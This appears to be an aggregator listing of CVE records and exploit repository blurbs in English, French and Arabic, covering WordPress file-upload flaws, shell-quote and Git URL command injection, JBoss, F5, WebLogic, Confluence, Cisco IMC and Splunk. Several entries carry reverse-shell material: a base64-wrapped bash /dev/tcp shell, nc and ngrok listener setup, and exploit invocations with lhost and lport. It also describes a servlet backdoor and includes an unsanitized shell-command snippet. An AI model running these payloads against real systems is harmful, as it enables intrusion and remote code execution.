EUVD-2026-95633

Unrestricted Upload of File with Dangerous Type vulnerability in PX-lab Zombify zombify allows Upload a Web Shell to a Web Server.This issue affects Zombify: from n/a through 1.7.7...

CVE-2026-94503 WordPress Zombify plugin <= 1.7.7 - Arbitrary File Upload vulnerability

Unrestricted Upload of File with Dangerous Type vulnerability in PX-lab Zombify zombify allows Upload a Web Shell to a Web Server.This issue affects Zombify: from n/a through 1.7.7...

CVE-2026-102422

A flaw was found in shell-quote. This vulnerability allows an attacker to achieve arbitrary command execution by supplying crafted input containing line break characters after a comment marker. When input is quoted, the comment marker comments out subsequent quotes until a newline is encountered,...

XSS2Shell-CVE-2026-64638

Ce depot n’a pas de fichier README...

CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline

CVE-2026-11120 – Injection de commande via l'URL Git dans le pipeline CI/CD Code du programme Python cicdbuild.py - Clones repository without sanitizing URL import subprocess, sys def cloneandbuildrepourl: Vulnerability: repourl can contain shell metacharacters cmd = f"git clone repourl /tmp/repo...

OpenWire-CVE-2023-46604-Investigation

تحقيق OpenWire-CVE-2023-46604 مختبر OpenWire خلال نوبة عملي كمحلل أمني من المستوى الثاني في مركز عمليات الأمن SOC، تلقيت تصعيدًا من محلل من المستوى الأول بخصوص خادم قابل للوصول عمومًا وقد لوحظ أنه يتواصل مع عدة عناوين IP خارجية مشبوهة. ردًا على ذلك، بدأت إجراءات الاستجابة للحوادث IR القياسية، وال...

CVE-2026-22226

CVE-2026-22226 إثبات المفهوم لـ CVE-2026-22226 حقن أوامر نظام التشغيل من جانب LAN مع المصادقة في عميل VPN لموجهات TP-Link Archer Wi-Fi ملخص الثغرة الأمنية يخزن متحكم عميل VPN وصف الإدخال الذي يتحكم به المستخدم des في تكوين UCI باستخدام تعبير نمطي ضعيف للتحقق. عندما تتم قراءة الإدخال لاحقًا أثناء...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X إلغاء التسلسل نسخة الصدفة العكسية واجهة رسومية معاد كتابتها بناءً على وضع سطر الأوامر للمؤلف التفاصيل:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2020-5902-rce-gui

أداة استغلال ثغرة CVE-2020-5902-RCE الإصدار 1.0 بواجهة رسومية GUI تعليمات استخدام الأداة في مكان تنفيذ الأوامر، إذا فشل التنفيذ في المرة الأولى، يمكن المحاولة عدة مرات. فحص عناوين الهدف بشكل مجمّع تنفيذ الصدى العكسي Reverse Shell فحص عنوان هدف فردي رفع الملفات رابط تحميل البرنامج الرابط:...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui الأداة مخصصة للاستخدام المصرح به فقط؛ إذا نشأت قضايا جنائية نتيجة هجمات غير مصرح بها، فلا علاقة لي بذلك. أرجو من الجميع الاطلاع على قانون الأمن السيبراني. أثناء إحدى عمليات الاستغلال الأولي، واجهت الثغرة 14882. لم أجد أداة POC جيدة بواجهة رسومية GUI، لذا أعدت بناءها. أنا...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 PoC réel Utilisation Télécharger bun https://github.com/oven-sh/bun/releases Démarrer ngrok ngrok tcp 4444 Écouter sur localhost 4444 nc -nvlp 4444 Exécuter l'exploit bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target...

CIMCown

CIMCown CVE-2026-20200 Injection d'arguments dans Cisco IMC avec RCE Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Advisory: NSIDE-SA-2026-003 Blogpost:...

Java-Servlets-Shell

Shell de servlets Java Backdoor de servlets Java inspirée de https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz Remarque : Les WAR contiennent du code Java compilé au lieu de pages JSP afin de pouvoir être utilisés dans des environnements qui bloquent ou ne compilent pas les fichiers JS...

offsec-karaf-exploits

offsec-karaf-exploits Utilisation : python exploit.py --help Exemple : python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Reconstruire le payload Configurer le framework Felix 1. Créez le répertoire lib mkdir -p ./revshell/lib 2. Télécharge...

craftcms-cve-2025-32432-rce

payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

Gopherus

Gopherus Si vous connaissez un endroit vulnérable aux SSRF, cet outil vous aidera à générer des payloads Gopher pour exploiter la SSRF Server Side Request Forgery et obtenir une RCE Remote Code Execution. Il vous aidera également à obtenir un reverse shell sur le serveur victime. Et pour plus...

php-reverse-shell

php-reverse-shell...

wp-file-manager

wp-file-manager WP File Manager 6.9 - Téléversement arbitraire de fichier menant à une exécution de code à distance RCE usage: wp-file-manager.py -h -u URL -f FILE optional arguments: -h, --help show this help message and exit -u URL, --url URL URL of host to check will need http or https -f FILE...

Splunk-RCE-poc

Splunk RCE - PoC Exploit de preuve de concept pour CVE-2023-46214, SVD-2023-1104 Utilisation L'URL de l'instance Splunk, le nom d'utilisateur, le mot de passe, l'adresse IP du reverse shell et le port sont tous requis comme paramètres de ligne de commande. Par exemple : $ python3 CVE-2023-46214.p...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - Téléchargement arbitraire de fichiers Description Le plugin Instant Appointment pour WordPress est vulnérable au téléchargement arbitraire de fichiers dans les versions jusqu'à la 1.2 incluse. Cela permet à des attaquants non...